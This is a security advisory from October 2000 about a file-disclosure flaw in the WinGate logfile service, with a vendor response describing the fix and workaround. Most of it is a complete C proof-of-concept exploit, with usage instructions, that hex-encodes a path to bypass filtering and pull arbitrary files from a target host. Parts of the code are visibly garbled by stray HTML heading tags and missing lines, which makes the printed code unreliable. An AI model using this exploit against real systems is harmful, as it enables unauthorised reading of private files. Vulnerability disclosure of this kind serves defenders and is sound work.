Reported October 16, 2000 by Blue Panda

VERSIONS AFFECTED
  • Wingate 4.1 (BETA)
  • Wingate 4.0.1
  • Wingate 3.0
  • Wingate 2.1

DESCRIPTION
The Wingate log file server allows logs to be viewed remotely via HTTP a vulnerability found in the process can allow a malicious user to retrieve files other than the log files.

DEMONSTRATION The following proof of concept was provided by Blue Panda;

Makes a request to the Wingate logfile service in such a way that it will not be subject to filtering. This can allow an attacker to retrieve files irrelevant to the logging system. The file received is dumped to stdout, and all other output is written to stderr. Newline characters (0x0d and 0x0a)will probably be screwed up by Wingate.

usage: wgate41a <host> <path/filename> \[<port>\]
*/
#include <stdio.h>
#include <winsock.h>
     
const char *USAGE = "usage: wgate41a <host> <path/filename> \[<port>\]\nport defaults to 8010.";
const char *ERROR_WINSOCK_INIT = "Error initialising winsock.";
const char *ERROR_SOCKET_CREATE = "Error creating socket.";
const char *ERROR_RECV = "Error receiving file/directory listing.";
const char *ERROR_MALLOC = "Error allocating memory.";
const char *WARNING_WINSOCK_CLEANUP = "Warning: winsock failed to clean up successfully.";
 
const int DEFAULT_PORT = 8010;
const int CONNECT_ERROR_NONE = 0;
const int CONNECT_ERROR_HOST = 1;
const int CONNECT_ERROR_CONNECT = 2;

const char *GET_REQUEST = "GET /";
const char *HTTP11 = " HTTP/1.1\x0d\x0a\x0d\x0a";
const char *END_OF_HEADERS = "\x0d\x0a\x0d";
 
#define BUF_LEN 2048

void Usage(void);
int Connect(int iSock, char *szHost, int iPort);
int InitWinsock(void);
int ShutdownWinsock(void);
void Bail(const char *szMessage);

int main(int argc, char *argv\[\])
\{
        int iPort;
    int iResult;
    int iSocket;
    int iCounter;
    char *szFile = NULL;
    int iFileLen = 0;
    char *szFileTemp = NULL;
    char *szStartOfFile;
    char sBuf\[BUF_LEN\];

    if ((argc > 3) || (argc > 4)) Usage();
    if (argc <h1><a name="_4_iPort_atoi_argv_3_else_iPort_DEFAULT_PORT_Attempt_to_initialise_winsock_iResult_InitWinsock_if_iResult_0_Bail_ERROR_WINSOCK_INIT_Create_socket_iSocket_socket_AF_INET_SOCK_STREAM_IPPROTO_TCP_if_iSocket_"> 4)
            iPort = atoi(argv\[3\]);
    else iPort = DEFAULT_PORT;
 
    // Attempt to initialise winsock.
    iResult = InitWinsock();
    if (iResult != 0)
            Bail(ERROR_WINSOCK_INIT);
     
    // Create socket.
    iSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (iSocket </a></h1> INVALID_SOCKET)
            Bail(ERROR_SOCKET_CREATE);
     
    // Connect to target.
    fprintf(stderr, "Connecting to %s:%d...", argv\[1\], iPort);
    iResult = Connect(iSocket, argv\[1\], iPort);
    if (iResult <h1><a name="_CONNECT_ERROR_HOST_Bail_invalid_host_if_iResult_"> CONNECT_ERROR_HOST)
            Bail("invalid host.");
    if (iResult </a></h1> CONNECT_ERROR_CONNECT)
            Bail("failed.");
    fprintf(stderr, "done.\n");
     
    // Connected. Send request.
    send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin request.
    iCounter = 0; // File/path.
    do
    \{
            sprintf((char *)(&sBuf), "%%%x", argv\[2\]\[iCounter\]);
            send(iSocket, sBuf, strlen(sBuf), 0);
            iCounter++;
    \} while((unsigned int)(iCounter)  0)
            \{
                   if (szFile != NULL)
                   \{
                            szFileTemp = (char *)(malloc(iFileLen));
                            if (szFileTemp <h1><a name="_NULL_Bail_ERROR_MALLOC_memcpy_szFileTemp_szFile_iFileLen_free_szFile_szFile_char_malloc_iFileLen_iResult_1_if_szFile_"> NULL)
                                    Bail(ERROR_MALLOC);
                            memcpy(szFileTemp, szFile, iFileLen);
                            free(szFile);
                    \}
                    szFile = (char *)(malloc(iFileLen + iResult + 1));
                    if (szFile </a></h1> NULL)
                            Bail(ERROR_MALLOC);
                    if (szFileTemp != NULL)
                    \{
                            memcpy(szFile, szFileTemp, iFileLen);
                            free(szFileTemp);
                            szFileTemp = NULL;
                    \}
                    memcpy(szFile + iFileLen, (char *)(&sBuf), iResult);
                    iFileLen += iResult;
            \}
            else
                    if ((iResult <h1><a name="_SOCKET_ERROR_amp_amp_WSAGetLastError_WSAETIMEDOUT_iResult_0_while_iResult_0_fprintf_stderr_Finished_Dumping_to_stdout_n_szFile_iFileLen_0_szStartOfFile_strstr_szFile_END_OF_HEADERS_if_szStartOfFile_NULL_szStartOfFile_4_else_szStartOfFile_szFile_fprintf_stderr_Warning_unable_to_find_end_of_HTTP_headers_n_if_iFileLen_szStartOfFile_szFile_gt_0_fwrite_szStartOfFile_1_iFileLen_szStartOfFile_szFile_stdout_else_fprintf_stderr_Warning_file_blank_n_free_szFile_Attempt_to_shut_down_winsock_iResult_ShutdownWinsock_if_iResult_0_fprintf_stderr_s_n_WARNING_WINSOCK_CLEANUP_return_0_void_Usage_void_fprintf_stderr_s_n_USAGE_exit_0_int_Connect_int_iSock_char_szHost_int_iPort_SOCKADDR_IN_RemoteAddress_struct_hostent_HostInfo_int_iResult_RemoteAddress_sin_family_AF_INET_RemoteAddress_sin_port_htons_iPort_RemoteAddress_sin_addr_s_addr_inet_addr_szHost_if_RemoteAddress_sin_addr_s_addr_"> SOCKET_ERROR) && (WSAGetLastError() != WSAETIMEDOUT)) iResult = 0;
    \} while(iResult != 0);
     
    fprintf(stderr, "Finished. Dumping to stdout...\n");
     
    szFile\[iFileLen\] = 0;
    szStartOfFile = strstr(szFile, END_OF_HEADERS);
    if (szStartOfFile != NULL)
            szStartOfFile += 4;
    else
    \{
            szStartOfFile = szFile;
            fprintf(stderr, "Warning: unable to find end of HTTP headers.\n");
    \}
    if (iFileLen - (szStartOfFile - szFile) > 0)
            fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - szFile), stdout);
    else fprintf(stderr, "Warning: file blank.\n");
     
    free(szFile);
     
    // Attempt to shut-down winsock.
    iResult = ShutdownWinsock();
    if (iResult != 0)
            fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP);
    return 0;
  \}
     
  void Usage(void)
  \{
    fprintf(stderr, "%s\n", USAGE);
    exit(0);
  \}
     
  int Connect(int iSock, char *szHost, int iPort)
  \{
    SOCKADDR_IN RemoteAddress;
    struct hostent *HostInfo;
    int iResult;
     
    RemoteAddress.sin_family = AF_INET;
    RemoteAddress.sin_port = htons(iPort);
    RemoteAddress.sin_addr.s_addr = inet_addr(szHost);
    if (RemoteAddress.sin_addr.s_addr </a></h1> INADDR_NONE)
    \{
            HostInfo = gethostbyname(szHost);
            if (HostInfo == NULL) return 1;
            memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, sizeof(HostInfo->h_addr));
    \}
     
    iResult = connect(iSock, (SOCKADDR *)&RemoteAddress, sizeof(RemoteAddress));
    if (iResult) return 2;
    return 0;
  \}
     
  int InitWinsock(void)
  \{
    WSADATA WSData;
    WORD WSVersion;
    int iResult;
     
    WSVersion = MAKEWORD(1, 1);
    iResult = WSAStartup(WSVersion, &WSData);
    return iResult;
  \}
     
  int ShutdownWinsock(void)
  \{
    int iResult;
    iResult = WSACleanup();
    return iResult;
  \}
     
  void Bail(const char *szMessage)
  \{
    fprintf(stderr, "%s\n", szMessage);
    exit(1);
  \}

VENDOR RESPONSE According to Deerfield.com's Product Manager, Doug Kassuba, "The gist of this vulnerability is that by encoding an improper log-file path as hex the path filtering in WinGate was defeated. What this meant was that users of the logfile service could view any directory that the WinGate service account had access to (typically the whole drive). Points to note:

(1) This vulnerability only exists if the log file service is installed (the default). It is not normally bound to any public interface (and a warning is given when it is), so vulnerability is normally restricted to your LAN.

(2) This is a data-reading vulnerability - it cannot be used to upload files, install Trojans, etc.

(3) It was fixed for the 4.1 beta C and subsequent versions. The workaround for earlier versions is not to bind the service to any untrusted interfaces, and/or add policies to restrict access.

CREDIT Discovered by BluePanda